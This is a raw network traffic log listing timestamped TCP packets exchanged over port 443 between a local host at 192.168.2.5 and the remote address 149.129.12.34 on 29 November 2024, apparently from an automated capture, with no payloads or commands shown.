Nov 29, 2024 15:45:47.313327074 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.495554924 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.495579958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.495630980 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.495645046 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.495657921 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.495681047 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.501157045 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.501176119 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.501220942 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.501230001 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.501269102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.506156921 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.506174088 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.506232023 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.506238937 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.506282091 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.511061907 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.511077881 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.511146069 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.511156082 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.511197090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.516576052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.516598940 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.516645908 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.516654015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.516695023 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.521755934 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.521773100 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.521821976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.521830082 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.521867037 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.527353048 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.527369976 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.527419090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.527427912 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.527591944 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.532850027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.532869101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.532906055 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.532912970 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.532938004 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.532953024 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.706124067 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.706152916 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.706223965 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.706249952 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.706306934 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.711199045 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.711215973 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.711266041 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.711272955 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.711308002 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.716643095 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.716659069 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.716727018 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.716736078 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.716774940 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.721550941 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.721566916 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.721618891 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.721625090 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.721658945 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.727283001 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.727298021 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.727343082 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.727350950 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.727387905 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.732338905 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.732357025 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.732407093 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.732414007 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.732446909 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.737639904 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.737895012 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.737910986 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.737951994 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.737961054 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.737999916 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.743407965 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.743424892 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.743470907 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.743477106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.743506908 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.744153023 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.916670084 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.916699886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.916750908 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.916760921 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.916795969 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.916815042 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.921721935 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.921741009 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.921806097 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.921813011 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.921858072 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.927527905 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.927546024 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.927603006 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.927613020 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.927654028 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.932787895 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.932806015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.932857037 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.932864904 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.932899952 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.932921886 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.937583923 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.937607050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.937644005 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.937652111 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.937680006 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.937719107 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.942812920 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.942831039 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.942871094 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.942877054 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.942917109 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.948359013 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.948375940 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.948442936 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.948450089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.948493004 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.953915119 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.953933954 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.954021931 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.954031944 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:47.954087019 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:47.955014944 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.127463102 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.127489090 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.127590895 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.127608061 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.127651930 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.130472898 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.132178068 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.132199049 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.132230997 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.132237911 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.132272005 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.132272005 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.137902021 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.137918949 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.137969017 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.137976885 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.138024092 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.143176079 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.143193007 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.143249989 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.143259048 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.143294096 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.148797989 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.148817062 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.148848057 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.148859024 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.148885965 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.150470972 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.153958082 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.153975964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.154021978 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.154028893 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.154072046 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.159535885 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.159552097 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.159603119 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.159610033 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.159653902 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.164494991 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.164510965 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.164554119 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.164561987 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.164598942 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.338413954 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.338443041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.338570118 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.338592052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.338632107 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.343509912 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.343527079 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.343578100 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.343586922 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.343621969 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.348861933 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.348877907 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.348936081 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.348942041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.348972082 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.354430914 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.354449034 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.354501963 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.354507923 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.354542017 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.359220028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.359237909 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.359285116 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.359292030 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.359327078 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.364483118 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.364502907 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.364568949 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.364577055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.364609957 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.370081902 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.370100975 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.370167971 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.370174885 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.370207071 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.370837927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.375545025 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.375565052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.375621080 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.375627995 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.375663996 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.377789021 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.549022913 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.549047947 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.549217939 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.549242973 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.549479961 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.554138899 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.554162979 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.554270983 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.554287910 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.554486990 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.559499979 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.559523106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.559588909 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.559607983 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.562499046 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.564953089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.564981937 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.565037012 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.565049887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.565104961 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.570779085 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.570804119 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.570878029 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.570892096 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.574484110 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.575732946 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.575752974 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.575793028 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.575798988 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.578479052 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.580631971 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.580648899 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.580743074 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.580770016 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.582519054 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.586175919 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.586195946 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.586265087 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.586275101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.586482048 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.759530067 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.759568930 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.759619951 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.759635925 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.759676933 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.765139103 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.765157938 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.765193939 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.765201092 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.765225887 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.765244007 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.769973993 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.769992113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.770041943 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.770050049 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.770232916 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.775660992 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.775681973 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.775724888 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.775731087 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.775834084 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.781050920 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.781075001 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.781102896 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.781110048 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.781136036 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.781167030 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.786223888 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.786243916 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.786298037 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.786303997 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.786334991 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.786396980 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.791790009 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.791810989 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.791851997 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.791857958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.791899920 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.791910887 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.796686888 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.796705008 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.796749115 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.796756029 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.796778917 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.796794891 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.796972990 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.969968081 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.969999075 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.970202923 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.970237970 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.970326900 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.975321054 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.975342989 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.975394011 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.975399971 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.975552082 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.980914116 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.980932951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.981008053 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.981015921 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.981125116 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.985795021 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.985811949 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.985879898 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.985903978 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.985980988 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.991285086 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.991302013 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.991359949 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.991370916 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.991449118 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.996519089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.996536016 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.996609926 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:48.996615887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:48.996692896 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.002065897 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.002083063 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.002151012 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.002156973 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.002357960 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.007597923 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.007613897 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.007683992 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:49.007692099 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:49.007786989 CET	49704	443	192.168.2.5	149.129.12.34
